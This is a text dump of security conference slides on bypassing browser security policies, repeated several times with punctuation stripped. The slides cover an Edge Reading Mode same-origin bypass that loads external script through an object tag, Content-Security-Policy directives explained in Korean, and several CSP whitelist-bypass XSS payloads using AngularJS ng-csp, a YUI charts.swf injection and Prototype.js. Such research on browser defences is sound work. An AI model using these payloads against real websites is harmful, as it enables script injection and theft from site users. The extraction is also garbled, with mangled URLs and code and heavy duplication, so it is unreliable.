SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

Not Changed locationhref and URL Bar

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability2

Object Tag Write Available

ltobjectdata=httpwwwi2seccokrsecuinsidedatajsgtltobjectgt

httpwwwi2seccokrsecuinsidedatajs

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability3

documentwrite data top location using

ltobjectdata=httpwwwi2seccokrsecuinsidedatajsgtltobjectgt

httpwwwi2seccokrsecuinsidedatajs

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability Conclusion

Using Edge Read Mode Redirect Not Change URL Bar and locationhref value

Edge Read Mode not deleted object tag

Edge Read Mode documentwrite

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Demo

SOP Bypass 1-Day DEMO

CSP(Content-Security-Policy) Details

CSP Options

Content-Security-Policy script-src self httpsapisgooglecom

Access-Allow Resource Type

Origin(Using Domain)

Another Domain

CSP(Content-Security-Policy) Details

CSP Options - Access-Allow Resource Type

옵션 기능 Example Domain

base-uri ltbasegt태그에 나타낼 수 있는 URL을 제한

child-src Frame 태그에 나타낼 수 있는 URL을 제한 child-src httpsyoutubecom

connect-src XHR WebSocket 또는 EventSource를 통해 연결하는 출처를 제한

font-src 웹 폰트를 제공할 수 있는 출처를 제한 font-src httpsthemesgoogleusercontentcom

form-action ltformgt태그 내 action의 Endpoint를 제한

img-src 이미지를 로드할 수 있는 출처를 제한

media-src 동영상 및 오디오를 로드할 수 있는 출처를 제한

style-src 스타일시트(CSS)를 로드할 수 있는 출처를 제한 style-src httpswwwbootstrapcdncom

CSP(Content-Security-Policy) Details

CSP Options - Another Tip

- Content Security Policy (CSP) block eval method call

- CSP is block using eval() for Javascript

- CSP does not specify unsafe-inline the inline event handler isblocked

CSP(Content-Security-Policy) Details

Why Attacker Thinking CSP

Drive By Download Attack

Victim SiteInclude(hacker_sitehackjs)

hacker_sitehackjs

User Browser

CSP(Content-Security-Policy) Details

Why Attacker Thinking CSP - Enable CSP

Drive By Download Attack

Victim SiteInclude(hacker_sitehackjs)

hacker_sitehackjs

User Browser

CSP(Bypass) Example Edge 0-Day and CSP WhiteListDomain

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinsidedemo_csp

CSP(Bypass) Bypass

CSP(Bypass) Edge Bypass

applicationpdf not filtering - Demo

ltembed type=applicationpdf src=httpwwwafricaueduimagesdefaultsamplepdf width=800 height=500gt

CSP(Content-Security-Policy) Details

CSP is Real Safe

Content-Security-Policy script-src lsquoselfrsquo ajaxgoogleapiscom

CSP Bypass (Whitelist)

CSP bypass XSS Challenge

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

CSP Bypass (Whitelist)

CSP bypass Using AngularJS ng-csp Options

ng-appng-csp ng-click=$eventviewalert(1337)gtltscriptsrc=ajaxgoogleapiscomajaxlibsangularjs108angularjsgtltscriptgt

CSP Bypass (Whitelist)

CSP bypass Using Google Externallinterface XSS

gtltembed src=ajaxgoogleapiscomajaxlibsyui280r4buildchartsassetschartsswfallowedDomain=)))catch(e)alert(1337) allowscriptaccess=alwaysgt

CSP Bypass (Whitelist)

CSP bypass Using AngularJS + Prototypejs

ng-app ng-cspgtltbase href=ajaxgoogleapiscomajaxlibsgtltscript src=angularjs101angularjsgtltscriptgtltscript src=prototype1720prototypejsgtltscriptgt$oncurrycall()alert(1337

CSP Bypass (Whitelist)

CSP bypass DEMO(ajaxgoogleapiscom)

Conclusion

- 브라우저 별 보안 헤더 정책을 적용한 방법은 다 다르다

- 헤더를 안전하게 적용했다고 생각하지만 취약점은 존재한다

- SOP CSP 등은 재미나게 우회할 아이디어가 많다

- 기능이 새로 추가되는 Third-Party 도 보면 참 재미지다

- CDN과 AngularJS 샌드박스를 100 신뢰하지말라

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinside0_day

0-day IE11 from James Lee

0-Day IE11 from James Lee

MS IE11 Information Disclosure Content Spoofing etc

httpsineedthinkpadblogspotkr201705msie11html

httpsgithubcomhackpupupaper2017secuinsidedemoie11

Thank you )

- Reference

httpstoolsietforghtmlrfc6797

httpsdevelopermozillaorgen-USdocsWebSecurityHTTP_strict_transport_security

httpswwwbrokenbrowsercomsop-bypass-abusing-read-protocol

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

httpsineedthinkpadblogspotkr201705msie11html

Page 19: Bypassing Web Browser Security Policiessecuinside.com/archive/2017/2017-1-5.pdf · 2017-07-20 · SECUINSIDE 2017 Bypassing Web Browser Security Policies DongHyun Kim (hackpupu) Security

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

readhttpsecuinsideorg

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

Finding Interesting Redirect URL

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

Not Changed locationhref and URL Bar

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability2

Object Tag Write Available

ltobjectdata=httpwwwi2seccokrsecuinsidedatajsgtltobjectgt

httpwwwi2seccokrsecuinsidedatajs

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability3

documentwrite data top location using

ltobjectdata=httpwwwi2seccokrsecuinsidedatajsgtltobjectgt

httpwwwi2seccokrsecuinsidedatajs

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability Conclusion

Using Edge Read Mode Redirect Not Change URL Bar and locationhref value

Edge Read Mode not deleted object tag

Edge Read Mode documentwrite

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Demo

SOP Bypass 1-Day DEMO

CSP(Content-Security-Policy) Details

CSP Options

Content-Security-Policy script-src self httpsapisgooglecom

Access-Allow Resource Type

Origin(Using Domain)

Another Domain

CSP(Content-Security-Policy) Details

CSP Options - Access-Allow Resource Type

옵션 기능 Example Domain

base-uri ltbasegt태그에 나타낼 수 있는 URL을 제한

child-src Frame 태그에 나타낼 수 있는 URL을 제한 child-src httpsyoutubecom

connect-src XHR WebSocket 또는 EventSource를 통해 연결하는 출처를 제한

font-src 웹 폰트를 제공할 수 있는 출처를 제한 font-src httpsthemesgoogleusercontentcom

form-action ltformgt태그 내 action의 Endpoint를 제한

img-src 이미지를 로드할 수 있는 출처를 제한

media-src 동영상 및 오디오를 로드할 수 있는 출처를 제한

style-src 스타일시트(CSS)를 로드할 수 있는 출처를 제한 style-src httpswwwbootstrapcdncom

CSP(Content-Security-Policy) Details

CSP Options - Another Tip

- Content Security Policy (CSP) block eval method call

- CSP is block using eval() for Javascript

- CSP does not specify unsafe-inline the inline event handler isblocked

CSP(Content-Security-Policy) Details

Why Attacker Thinking CSP

Drive By Download Attack

Victim SiteInclude(hacker_sitehackjs)

hacker_sitehackjs

User Browser

CSP(Content-Security-Policy) Details

Why Attacker Thinking CSP - Enable CSP

Drive By Download Attack

Victim SiteInclude(hacker_sitehackjs)

hacker_sitehackjs

User Browser

CSP(Bypass) Example Edge 0-Day and CSP WhiteListDomain

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinsidedemo_csp

CSP(Bypass) Bypass

CSP(Bypass) Edge Bypass

applicationpdf not filtering - Demo

ltembed type=applicationpdf src=httpwwwafricaueduimagesdefaultsamplepdf width=800 height=500gt

CSP(Content-Security-Policy) Details

CSP is Real Safe

Content-Security-Policy script-src lsquoselfrsquo ajaxgoogleapiscom

CSP Bypass (Whitelist)

CSP bypass XSS Challenge

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

CSP Bypass (Whitelist)

CSP bypass Using AngularJS ng-csp Options

ng-appng-csp ng-click=$eventviewalert(1337)gtltscriptsrc=ajaxgoogleapiscomajaxlibsangularjs108angularjsgtltscriptgt

CSP Bypass (Whitelist)

CSP bypass Using Google Externallinterface XSS

gtltembed src=ajaxgoogleapiscomajaxlibsyui280r4buildchartsassetschartsswfallowedDomain=)))catch(e)alert(1337) allowscriptaccess=alwaysgt

CSP Bypass (Whitelist)

CSP bypass Using AngularJS + Prototypejs

ng-app ng-cspgtltbase href=ajaxgoogleapiscomajaxlibsgtltscript src=angularjs101angularjsgtltscriptgtltscript src=prototype1720prototypejsgtltscriptgt$oncurrycall()alert(1337

CSP Bypass (Whitelist)

CSP bypass DEMO(ajaxgoogleapiscom)

Conclusion

- 브라우저 별 보안 헤더 정책을 적용한 방법은 다 다르다

- 헤더를 안전하게 적용했다고 생각하지만 취약점은 존재한다

- SOP CSP 등은 재미나게 우회할 아이디어가 많다

- 기능이 새로 추가되는 Third-Party 도 보면 참 재미지다

- CDN과 AngularJS 샌드박스를 100 신뢰하지말라

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinside0_day

0-day IE11 from James Lee

0-Day IE11 from James Lee

MS IE11 Information Disclosure Content Spoofing etc

httpsineedthinkpadblogspotkr201705msie11html

httpsgithubcomhackpupupaper2017secuinsidedemoie11

Thank you )

- Reference

httpstoolsietforghtmlrfc6797

httpsdevelopermozillaorgen-USdocsWebSecurityHTTP_strict_transport_security

httpswwwbrokenbrowsercomsop-bypass-abusing-read-protocol

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

httpsineedthinkpadblogspotkr201705msie11html

Page 20: Bypassing Web Browser Security Policiessecuinside.com/archive/2017/2017-1-5.pdf · 2017-07-20 · SECUINSIDE 2017 Bypassing Web Browser Security Policies DongHyun Kim (hackpupu) Security

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

Finding Interesting Redirect URL

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

Not Changed locationhref and URL Bar

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability2

Object Tag Write Available

ltobjectdata=httpwwwi2seccokrsecuinsidedatajsgtltobjectgt

httpwwwi2seccokrsecuinsidedatajs

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability3

documentwrite data top location using

ltobjectdata=httpwwwi2seccokrsecuinsidedatajsgtltobjectgt

httpwwwi2seccokrsecuinsidedatajs

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability Conclusion

Using Edge Read Mode Redirect Not Change URL Bar and locationhref value

Edge Read Mode not deleted object tag

Edge Read Mode documentwrite

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Demo

SOP Bypass 1-Day DEMO

CSP(Content-Security-Policy) Details

CSP Options

Content-Security-Policy script-src self httpsapisgooglecom

Access-Allow Resource Type

Origin(Using Domain)

Another Domain

CSP(Content-Security-Policy) Details

CSP Options - Access-Allow Resource Type

옵션 기능 Example Domain

base-uri ltbasegt태그에 나타낼 수 있는 URL을 제한

child-src Frame 태그에 나타낼 수 있는 URL을 제한 child-src httpsyoutubecom

connect-src XHR WebSocket 또는 EventSource를 통해 연결하는 출처를 제한

font-src 웹 폰트를 제공할 수 있는 출처를 제한 font-src httpsthemesgoogleusercontentcom

form-action ltformgt태그 내 action의 Endpoint를 제한

img-src 이미지를 로드할 수 있는 출처를 제한

media-src 동영상 및 오디오를 로드할 수 있는 출처를 제한

style-src 스타일시트(CSS)를 로드할 수 있는 출처를 제한 style-src httpswwwbootstrapcdncom

CSP(Content-Security-Policy) Details

CSP Options - Another Tip

- Content Security Policy (CSP) block eval method call

- CSP is block using eval() for Javascript

- CSP does not specify unsafe-inline the inline event handler isblocked

CSP(Content-Security-Policy) Details

Why Attacker Thinking CSP

Drive By Download Attack

Victim SiteInclude(hacker_sitehackjs)

hacker_sitehackjs

User Browser

CSP(Content-Security-Policy) Details

Why Attacker Thinking CSP - Enable CSP

Drive By Download Attack

Victim SiteInclude(hacker_sitehackjs)

hacker_sitehackjs

User Browser

CSP(Bypass) Example Edge 0-Day and CSP WhiteListDomain

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinsidedemo_csp

CSP(Bypass) Bypass

CSP(Bypass) Edge Bypass

applicationpdf not filtering - Demo

ltembed type=applicationpdf src=httpwwwafricaueduimagesdefaultsamplepdf width=800 height=500gt

CSP(Content-Security-Policy) Details

CSP is Real Safe

Content-Security-Policy script-src lsquoselfrsquo ajaxgoogleapiscom

CSP Bypass (Whitelist)

CSP bypass XSS Challenge

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

CSP Bypass (Whitelist)

CSP bypass Using AngularJS ng-csp Options

ng-appng-csp ng-click=$eventviewalert(1337)gtltscriptsrc=ajaxgoogleapiscomajaxlibsangularjs108angularjsgtltscriptgt

CSP Bypass (Whitelist)

CSP bypass Using Google Externallinterface XSS

gtltembed src=ajaxgoogleapiscomajaxlibsyui280r4buildchartsassetschartsswfallowedDomain=)))catch(e)alert(1337) allowscriptaccess=alwaysgt

CSP Bypass (Whitelist)

CSP bypass Using AngularJS + Prototypejs

ng-app ng-cspgtltbase href=ajaxgoogleapiscomajaxlibsgtltscript src=angularjs101angularjsgtltscriptgtltscript src=prototype1720prototypejsgtltscriptgt$oncurrycall()alert(1337

CSP Bypass (Whitelist)

CSP bypass DEMO(ajaxgoogleapiscom)

Conclusion

- 브라우저 별 보안 헤더 정책을 적용한 방법은 다 다르다

- 헤더를 안전하게 적용했다고 생각하지만 취약점은 존재한다

- SOP CSP 등은 재미나게 우회할 아이디어가 많다

- 기능이 새로 추가되는 Third-Party 도 보면 참 재미지다

- CDN과 AngularJS 샌드박스를 100 신뢰하지말라

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinside0_day

0-day IE11 from James Lee

0-Day IE11 from James Lee

MS IE11 Information Disclosure Content Spoofing etc

httpsineedthinkpadblogspotkr201705msie11html

httpsgithubcomhackpupupaper2017secuinsidedemoie11

Thank you )

- Reference

httpstoolsietforghtmlrfc6797

httpsdevelopermozillaorgen-USdocsWebSecurityHTTP_strict_transport_security

httpswwwbrokenbrowsercomsop-bypass-abusing-read-protocol

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

httpsineedthinkpadblogspotkr201705msie11html

Page 21: Bypassing Web Browser Security Policiessecuinside.com/archive/2017/2017-1-5.pdf · 2017-07-20 · SECUINSIDE 2017 Bypassing Web Browser Security Policies DongHyun Kim (hackpupu) Security

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

Not Changed locationhref and URL Bar

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability2

Object Tag Write Available

ltobjectdata=httpwwwi2seccokrsecuinsidedatajsgtltobjectgt

httpwwwi2seccokrsecuinsidedatajs

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability3

documentwrite data top location using

ltobjectdata=httpwwwi2seccokrsecuinsidedatajsgtltobjectgt

httpwwwi2seccokrsecuinsidedatajs

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability Conclusion

Using Edge Read Mode Redirect Not Change URL Bar and locationhref value

Edge Read Mode not deleted object tag

Edge Read Mode documentwrite

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Demo

SOP Bypass 1-Day DEMO

CSP(Content-Security-Policy) Details

CSP Options

Content-Security-Policy script-src self httpsapisgooglecom

Access-Allow Resource Type

Origin(Using Domain)

Another Domain

CSP(Content-Security-Policy) Details

CSP Options - Access-Allow Resource Type

옵션 기능 Example Domain

base-uri ltbasegt태그에 나타낼 수 있는 URL을 제한

child-src Frame 태그에 나타낼 수 있는 URL을 제한 child-src httpsyoutubecom

connect-src XHR WebSocket 또는 EventSource를 통해 연결하는 출처를 제한

font-src 웹 폰트를 제공할 수 있는 출처를 제한 font-src httpsthemesgoogleusercontentcom

form-action ltformgt태그 내 action의 Endpoint를 제한

img-src 이미지를 로드할 수 있는 출처를 제한

media-src 동영상 및 오디오를 로드할 수 있는 출처를 제한

style-src 스타일시트(CSS)를 로드할 수 있는 출처를 제한 style-src httpswwwbootstrapcdncom

CSP(Content-Security-Policy) Details

CSP Options - Another Tip

- Content Security Policy (CSP) block eval method call

- CSP is block using eval() for Javascript

- CSP does not specify unsafe-inline the inline event handler isblocked

CSP(Content-Security-Policy) Details

Why Attacker Thinking CSP

Drive By Download Attack

Victim SiteInclude(hacker_sitehackjs)

hacker_sitehackjs

User Browser

CSP(Content-Security-Policy) Details

Why Attacker Thinking CSP - Enable CSP

Drive By Download Attack

Victim SiteInclude(hacker_sitehackjs)

hacker_sitehackjs

User Browser

CSP(Bypass) Example Edge 0-Day and CSP WhiteListDomain

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinsidedemo_csp

CSP(Bypass) Bypass

CSP(Bypass) Edge Bypass

applicationpdf not filtering - Demo

ltembed type=applicationpdf src=httpwwwafricaueduimagesdefaultsamplepdf width=800 height=500gt

CSP(Content-Security-Policy) Details

CSP is Real Safe

Content-Security-Policy script-src lsquoselfrsquo ajaxgoogleapiscom

CSP Bypass (Whitelist)

CSP bypass XSS Challenge

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

CSP Bypass (Whitelist)

CSP bypass Using AngularJS ng-csp Options

ng-appng-csp ng-click=$eventviewalert(1337)gtltscriptsrc=ajaxgoogleapiscomajaxlibsangularjs108angularjsgtltscriptgt

CSP Bypass (Whitelist)

CSP bypass Using Google Externallinterface XSS

gtltembed src=ajaxgoogleapiscomajaxlibsyui280r4buildchartsassetschartsswfallowedDomain=)))catch(e)alert(1337) allowscriptaccess=alwaysgt

CSP Bypass (Whitelist)

CSP bypass Using AngularJS + Prototypejs

ng-app ng-cspgtltbase href=ajaxgoogleapiscomajaxlibsgtltscript src=angularjs101angularjsgtltscriptgtltscript src=prototype1720prototypejsgtltscriptgt$oncurrycall()alert(1337

CSP Bypass (Whitelist)

CSP bypass DEMO(ajaxgoogleapiscom)

Conclusion

- 브라우저 별 보안 헤더 정책을 적용한 방법은 다 다르다

- 헤더를 안전하게 적용했다고 생각하지만 취약점은 존재한다

- SOP CSP 등은 재미나게 우회할 아이디어가 많다

- 기능이 새로 추가되는 Third-Party 도 보면 참 재미지다

- CDN과 AngularJS 샌드박스를 100 신뢰하지말라

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinside0_day

0-day IE11 from James Lee

0-Day IE11 from James Lee

MS IE11 Information Disclosure Content Spoofing etc

httpsineedthinkpadblogspotkr201705msie11html

httpsgithubcomhackpupupaper2017secuinsidedemoie11

Thank you )

- Reference

httpstoolsietforghtmlrfc6797

httpsdevelopermozillaorgen-USdocsWebSecurityHTTP_strict_transport_security

httpswwwbrokenbrowsercomsop-bypass-abusing-read-protocol

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

httpsineedthinkpadblogspotkr201705msie11html

Page 22: Bypassing Web Browser Security Policiessecuinside.com/archive/2017/2017-1-5.pdf · 2017-07-20 · SECUINSIDE 2017 Bypassing Web Browser Security Policies DongHyun Kim (hackpupu) Security

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability2

Object Tag Write Available

ltobjectdata=httpwwwi2seccokrsecuinsidedatajsgtltobjectgt

httpwwwi2seccokrsecuinsidedatajs

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability3

documentwrite data top location using

ltobjectdata=httpwwwi2seccokrsecuinsidedatajsgtltobjectgt

httpwwwi2seccokrsecuinsidedatajs

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability Conclusion

Using Edge Read Mode Redirect Not Change URL Bar and locationhref value

Edge Read Mode not deleted object tag

Edge Read Mode documentwrite

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Demo

SOP Bypass 1-Day DEMO

CSP(Content-Security-Policy) Details

CSP Options

Content-Security-Policy script-src self httpsapisgooglecom

Access-Allow Resource Type

Origin(Using Domain)

Another Domain

CSP(Content-Security-Policy) Details

CSP Options - Access-Allow Resource Type

옵션 기능 Example Domain

base-uri ltbasegt태그에 나타낼 수 있는 URL을 제한

child-src Frame 태그에 나타낼 수 있는 URL을 제한 child-src httpsyoutubecom

connect-src XHR WebSocket 또는 EventSource를 통해 연결하는 출처를 제한

font-src 웹 폰트를 제공할 수 있는 출처를 제한 font-src httpsthemesgoogleusercontentcom

form-action ltformgt태그 내 action의 Endpoint를 제한

img-src 이미지를 로드할 수 있는 출처를 제한

media-src 동영상 및 오디오를 로드할 수 있는 출처를 제한

style-src 스타일시트(CSS)를 로드할 수 있는 출처를 제한 style-src httpswwwbootstrapcdncom

CSP(Content-Security-Policy) Details

CSP Options - Another Tip

- Content Security Policy (CSP) block eval method call

- CSP is block using eval() for Javascript

- CSP does not specify unsafe-inline the inline event handler isblocked

CSP(Content-Security-Policy) Details

Why Attacker Thinking CSP

Drive By Download Attack

Victim SiteInclude(hacker_sitehackjs)

hacker_sitehackjs

User Browser

CSP(Content-Security-Policy) Details

Why Attacker Thinking CSP - Enable CSP

Drive By Download Attack

Victim SiteInclude(hacker_sitehackjs)

hacker_sitehackjs

User Browser

CSP(Bypass) Example Edge 0-Day and CSP WhiteListDomain

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinsidedemo_csp

CSP(Bypass) Bypass

CSP(Bypass) Edge Bypass

applicationpdf not filtering - Demo

ltembed type=applicationpdf src=httpwwwafricaueduimagesdefaultsamplepdf width=800 height=500gt

CSP(Content-Security-Policy) Details

CSP is Real Safe

Content-Security-Policy script-src lsquoselfrsquo ajaxgoogleapiscom

CSP Bypass (Whitelist)

CSP bypass XSS Challenge

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

CSP Bypass (Whitelist)

CSP bypass Using AngularJS ng-csp Options

ng-appng-csp ng-click=$eventviewalert(1337)gtltscriptsrc=ajaxgoogleapiscomajaxlibsangularjs108angularjsgtltscriptgt

CSP Bypass (Whitelist)

CSP bypass Using Google Externallinterface XSS

gtltembed src=ajaxgoogleapiscomajaxlibsyui280r4buildchartsassetschartsswfallowedDomain=)))catch(e)alert(1337) allowscriptaccess=alwaysgt

CSP Bypass (Whitelist)

CSP bypass Using AngularJS + Prototypejs

ng-app ng-cspgtltbase href=ajaxgoogleapiscomajaxlibsgtltscript src=angularjs101angularjsgtltscriptgtltscript src=prototype1720prototypejsgtltscriptgt$oncurrycall()alert(1337

CSP Bypass (Whitelist)

CSP bypass DEMO(ajaxgoogleapiscom)

Conclusion

- 브라우저 별 보안 헤더 정책을 적용한 방법은 다 다르다

- 헤더를 안전하게 적용했다고 생각하지만 취약점은 존재한다

- SOP CSP 등은 재미나게 우회할 아이디어가 많다

- 기능이 새로 추가되는 Third-Party 도 보면 참 재미지다

- CDN과 AngularJS 샌드박스를 100 신뢰하지말라

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinside0_day

0-day IE11 from James Lee

0-Day IE11 from James Lee

MS IE11 Information Disclosure Content Spoofing etc

httpsineedthinkpadblogspotkr201705msie11html

httpsgithubcomhackpupupaper2017secuinsidedemoie11

Thank you )

- Reference

httpstoolsietforghtmlrfc6797

httpsdevelopermozillaorgen-USdocsWebSecurityHTTP_strict_transport_security

httpswwwbrokenbrowsercomsop-bypass-abusing-read-protocol

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

httpsineedthinkpadblogspotkr201705msie11html

Page 23: Bypassing Web Browser Security Policiessecuinside.com/archive/2017/2017-1-5.pdf · 2017-07-20 · SECUINSIDE 2017 Bypassing Web Browser Security Policies DongHyun Kim (hackpupu) Security

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability3

documentwrite data top location using

ltobjectdata=httpwwwi2seccokrsecuinsidedatajsgtltobjectgt

httpwwwi2seccokrsecuinsidedatajs

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability Conclusion

Using Edge Read Mode Redirect Not Change URL Bar and locationhref value

Edge Read Mode not deleted object tag

Edge Read Mode documentwrite

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Demo

SOP Bypass 1-Day DEMO

CSP(Content-Security-Policy) Details

CSP Options

Content-Security-Policy script-src self httpsapisgooglecom

Access-Allow Resource Type

Origin(Using Domain)

Another Domain

CSP(Content-Security-Policy) Details

CSP Options - Access-Allow Resource Type

옵션 기능 Example Domain

base-uri ltbasegt태그에 나타낼 수 있는 URL을 제한

child-src Frame 태그에 나타낼 수 있는 URL을 제한 child-src httpsyoutubecom

connect-src XHR WebSocket 또는 EventSource를 통해 연결하는 출처를 제한

font-src 웹 폰트를 제공할 수 있는 출처를 제한 font-src httpsthemesgoogleusercontentcom

form-action ltformgt태그 내 action의 Endpoint를 제한

img-src 이미지를 로드할 수 있는 출처를 제한

media-src 동영상 및 오디오를 로드할 수 있는 출처를 제한

style-src 스타일시트(CSS)를 로드할 수 있는 출처를 제한 style-src httpswwwbootstrapcdncom

CSP(Content-Security-Policy) Details

CSP Options - Another Tip

- Content Security Policy (CSP) block eval method call

- CSP is block using eval() for Javascript

- CSP does not specify unsafe-inline the inline event handler isblocked

CSP(Content-Security-Policy) Details

Why Attacker Thinking CSP

Drive By Download Attack

Victim SiteInclude(hacker_sitehackjs)

hacker_sitehackjs

User Browser

CSP(Content-Security-Policy) Details

Why Attacker Thinking CSP - Enable CSP

Drive By Download Attack

Victim SiteInclude(hacker_sitehackjs)

hacker_sitehackjs

User Browser

CSP(Bypass) Example Edge 0-Day and CSP WhiteListDomain

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinsidedemo_csp

CSP(Bypass) Bypass

CSP(Bypass) Edge Bypass

applicationpdf not filtering - Demo

ltembed type=applicationpdf src=httpwwwafricaueduimagesdefaultsamplepdf width=800 height=500gt

CSP(Content-Security-Policy) Details

CSP is Real Safe

Content-Security-Policy script-src lsquoselfrsquo ajaxgoogleapiscom

CSP Bypass (Whitelist)

CSP bypass XSS Challenge

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

CSP Bypass (Whitelist)

CSP bypass Using AngularJS ng-csp Options

ng-appng-csp ng-click=$eventviewalert(1337)gtltscriptsrc=ajaxgoogleapiscomajaxlibsangularjs108angularjsgtltscriptgt

CSP Bypass (Whitelist)

CSP bypass Using Google Externallinterface XSS

gtltembed src=ajaxgoogleapiscomajaxlibsyui280r4buildchartsassetschartsswfallowedDomain=)))catch(e)alert(1337) allowscriptaccess=alwaysgt

CSP Bypass (Whitelist)

CSP bypass Using AngularJS + Prototypejs

ng-app ng-cspgtltbase href=ajaxgoogleapiscomajaxlibsgtltscript src=angularjs101angularjsgtltscriptgtltscript src=prototype1720prototypejsgtltscriptgt$oncurrycall()alert(1337

CSP Bypass (Whitelist)

CSP bypass DEMO(ajaxgoogleapiscom)

Conclusion

- 브라우저 별 보안 헤더 정책을 적용한 방법은 다 다르다

- 헤더를 안전하게 적용했다고 생각하지만 취약점은 존재한다

- SOP CSP 등은 재미나게 우회할 아이디어가 많다

- 기능이 새로 추가되는 Third-Party 도 보면 참 재미지다

- CDN과 AngularJS 샌드박스를 100 신뢰하지말라

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinside0_day

0-day IE11 from James Lee

0-Day IE11 from James Lee

MS IE11 Information Disclosure Content Spoofing etc

httpsineedthinkpadblogspotkr201705msie11html

httpsgithubcomhackpupupaper2017secuinsidedemoie11

Thank you )

- Reference

httpstoolsietforghtmlrfc6797

httpsdevelopermozillaorgen-USdocsWebSecurityHTTP_strict_transport_security

httpswwwbrokenbrowsercomsop-bypass-abusing-read-protocol

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

httpsineedthinkpadblogspotkr201705msie11html

Page 24: Bypassing Web Browser Security Policiessecuinside.com/archive/2017/2017-1-5.pdf · 2017-07-20 · SECUINSIDE 2017 Bypassing Web Browser Security Policies DongHyun Kim (hackpupu) Security

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability Conclusion

Using Edge Read Mode Redirect Not Change URL Bar and locationhref value

Edge Read Mode not deleted object tag

Edge Read Mode documentwrite

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Demo

SOP Bypass 1-Day DEMO

CSP(Content-Security-Policy) Details

CSP Options

Content-Security-Policy script-src self httpsapisgooglecom

Access-Allow Resource Type

Origin(Using Domain)

Another Domain

CSP(Content-Security-Policy) Details

CSP Options - Access-Allow Resource Type

옵션 기능 Example Domain

base-uri ltbasegt태그에 나타낼 수 있는 URL을 제한

child-src Frame 태그에 나타낼 수 있는 URL을 제한 child-src httpsyoutubecom

connect-src XHR WebSocket 또는 EventSource를 통해 연결하는 출처를 제한

font-src 웹 폰트를 제공할 수 있는 출처를 제한 font-src httpsthemesgoogleusercontentcom

form-action ltformgt태그 내 action의 Endpoint를 제한

img-src 이미지를 로드할 수 있는 출처를 제한

media-src 동영상 및 오디오를 로드할 수 있는 출처를 제한

style-src 스타일시트(CSS)를 로드할 수 있는 출처를 제한 style-src httpswwwbootstrapcdncom

CSP(Content-Security-Policy) Details

CSP Options - Another Tip

- Content Security Policy (CSP) block eval method call

- CSP is block using eval() for Javascript

- CSP does not specify unsafe-inline the inline event handler isblocked

CSP(Content-Security-Policy) Details

Why Attacker Thinking CSP

Drive By Download Attack

